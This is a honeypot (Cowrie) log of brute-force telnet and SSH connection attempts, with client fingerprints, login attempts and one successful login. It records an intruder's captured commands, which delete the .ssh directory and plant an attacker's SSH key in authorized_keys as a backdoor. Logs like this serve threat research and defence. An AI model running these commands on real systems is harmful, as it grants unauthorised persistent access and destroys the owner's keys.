{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":58210,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed5bffc0b24","protocol":"telnet","message":"New connection: 23.254.167.244:58210 (159.203.135.109:23) [session: 6ed5bffc0b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:08.982781Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59894,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e2659c56f86","protocol":"telnet","message":"New connection: 23.254.167.244:59894 (159.203.135.109:23) [session: 4e2659c56f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:10.730913Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60192,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3ef166e2b9b","protocol":"telnet","message":"New connection: 23.254.167.244:60192 (159.203.135.109:23) [session: f3ef166e2b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:10.831332Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60730,"dst_ip":"159.203.135.109","dst_port":23,"session":"e974407a6623","protocol":"telnet","message":"New connection: 23.254.167.244:60730 (159.203.135.109:23) [session: e974407a6623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:11.141203Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34220,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d38eff341d1","protocol":"telnet","message":"New connection: 23.254.167.244:34220 (159.203.135.109:23) [session: 7d38eff341d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:12.453009Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56270,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc21f8258873","protocol":"telnet","message":"New connection: 209.159.146.115:56270 (159.203.135.109:23) [session: cc21f8258873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:12.986326Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35688,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fa9a66e4988","protocol":"telnet","message":"New connection: 23.254.167.244:35688 (159.203.135.109:23) [session: 1fa9a66e4988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:14.136726Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45848,"dst_ip":"159.203.135.109","dst_port":23,"session":"68292c65cad6","protocol":"telnet","message":"New connection: 185.26.126.47:45848 (159.203.135.109:23) [session: 68292c65cad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:14.322138Z"}
{"eventid":"cowrie.session.closed","duration":33.34947443008423,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:14.982458Z","src_ip":"23.254.167.244","session":"eadf844faa5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38314,"dst_ip":"159.203.135.109","dst_port":23,"session":"0028d63e3c0a","protocol":"telnet","message":"New connection: 23.254.167.244:38314 (159.203.135.109:23) [session: 0028d63e3c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:16.193585Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40974,"dst_ip":"159.203.135.109","dst_port":23,"session":"3136d72f9d50","protocol":"telnet","message":"New connection: 23.254.167.244:40974 (159.203.135.109:23) [session: 3136d72f9d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:17.491407Z"}
{"eventid":"cowrie.session.closed","duration":42.49322700500488,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:18.670886Z","src_ip":"23.254.167.244","session":"4b7547d53608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.060012102127075,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:20.382062Z","src_ip":"185.26.126.47","session":"68292c65cad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52152,"dst_ip":"159.203.135.109","dst_port":23,"session":"f458355e9a2d","protocol":"telnet","message":"New connection: 185.26.126.47:52152 (159.203.135.109:23) [session: f458355e9a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:22.005414Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48710,"dst_ip":"159.203.135.109","dst_port":23,"session":"68c67e8fe699","protocol":"telnet","message":"New connection: 23.254.167.244:48710 (159.203.135.109:23) [session: 68c67e8fe699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:23.021039Z"}
{"eventid":"cowrie.session.closed","duration":32.461172342300415,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:23.370683Z","src_ip":"23.254.167.244","session":"afd0ffd196c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51198,"dst_ip":"159.203.135.109","dst_port":23,"session":"caa4918ca196","protocol":"telnet","message":"New connection: 23.254.167.244:51198 (159.203.135.109:23) [session: caa4918ca196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:25.507816Z"}
{"eventid":"cowrie.session.closed","duration":43.407326221466064,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:25.952812Z","src_ip":"23.254.167.244","session":"398ef497158e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31259560585022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:26.126832Z","src_ip":"209.159.146.115","session":"0718fe42ae2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":58522,"dst_ip":"10.17.0.5","dst_port":22,"session":"da002a991ef1","protocol":"ssh","message":"New connection: 80.94.92.182:58522 (10.17.0.5:22) [session: da002a991ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:27.062300Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49748,"dst_ip":"159.203.135.109","dst_port":23,"session":"d303463d4eb2","protocol":"telnet","message":"New connection: 23.254.167.244:49748 (159.203.135.109:23) [session: d303463d4eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:27.145320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:27.194594Z","src_ip":"80.94.92.182","session":"da002a991ef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:27.197943Z","src_ip":"80.94.92.182","session":"da002a991ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.19231867790222,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:27.276791Z","src_ip":"23.254.167.244","session":"20826d214a9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37808,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbd8b4c49c99","protocol":"ssh","message":"New connection: 159.203.92.129:37808 (159.203.135.109:22) [session: bbd8b4c49c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:27.445695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:27.449496Z","src_ip":"159.203.92.129","session":"bbd8b4c49c99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:27.455548Z","src_ip":"159.203.92.129","session":"bbd8b4c49c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anjh","password":"anjh","message":"login attempt [anjh/anjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:27.466193Z","src_ip":"159.203.92.129","session":"bbd8b4c49c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"firedancer","message":"login attempt [ubuntu/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:28.360201Z","src_ip":"80.94.92.182","session":"da002a991ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:28.471721Z","src_ip":"159.203.92.129","session":"bbd8b4c49c99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:29.586416Z","src_ip":"80.94.92.182","session":"da002a991ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.52915048599243,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:30.557018Z","src_ip":"23.254.167.244","session":"8fe410b67643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40632,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc2ba245345f","protocol":"telnet","message":"New connection: 209.159.146.115:40632 (159.203.135.109:23) [session: cc2ba245345f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:30.850256Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60868,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab1a6a77227c","protocol":"telnet","message":"New connection: 23.254.167.244:60868 (159.203.135.109:23) [session: ab1a6a77227c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:33.000807Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50602,"dst_ip":"159.203.135.109","dst_port":23,"session":"234daf59b861","protocol":"telnet","message":"New connection: 209.159.146.115:50602 (159.203.135.109:23) [session: 234daf59b861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:33.528766Z"}
{"eventid":"cowrie.session.closed","duration":38.689953327178955,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:34.683074Z","src_ip":"23.254.167.244","session":"f809494bb163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":45240,"dst_ip":"159.203.135.109","dst_port":22,"session":"f396a9dbcf9c","protocol":"ssh","message":"New connection: 157.66.34.121:45240 (159.203.135.109:22) [session: f396a9dbcf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:34.905783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:34.910011Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:35.145581Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin","message":"login attempt [admin/adminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:36.112069Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:36.626151Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:36.629697Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:36.633312Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33498,"dst_ip":"159.203.135.109","dst_port":23,"session":"24d61777ee7e","protocol":"telnet","message":"New connection: 23.254.167.244:33498 (159.203.135.109:23) [session: 24d61777ee7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:36.772363Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:36.871593Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:37.379645Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:37.383004Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:37.622261Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:37.626206Z","src_ip":"157.66.34.121","session":"f396a9dbcf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06728959083557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:37.695364Z","src_ip":"23.254.167.244","session":"1f71a392c3e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":45256,"dst_ip":"159.203.135.109","dst_port":22,"session":"5afffbee361a","protocol":"ssh","message":"New connection: 157.66.34.121:45256 (159.203.135.109:22) [session: 5afffbee361a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:37.848015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:37.853306Z","src_ip":"157.66.34.121","session":"5afffbee361a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:09:38.084863Z","src_ip":"157.66.34.121","session":"5afffbee361a","protocol":"ssh"}
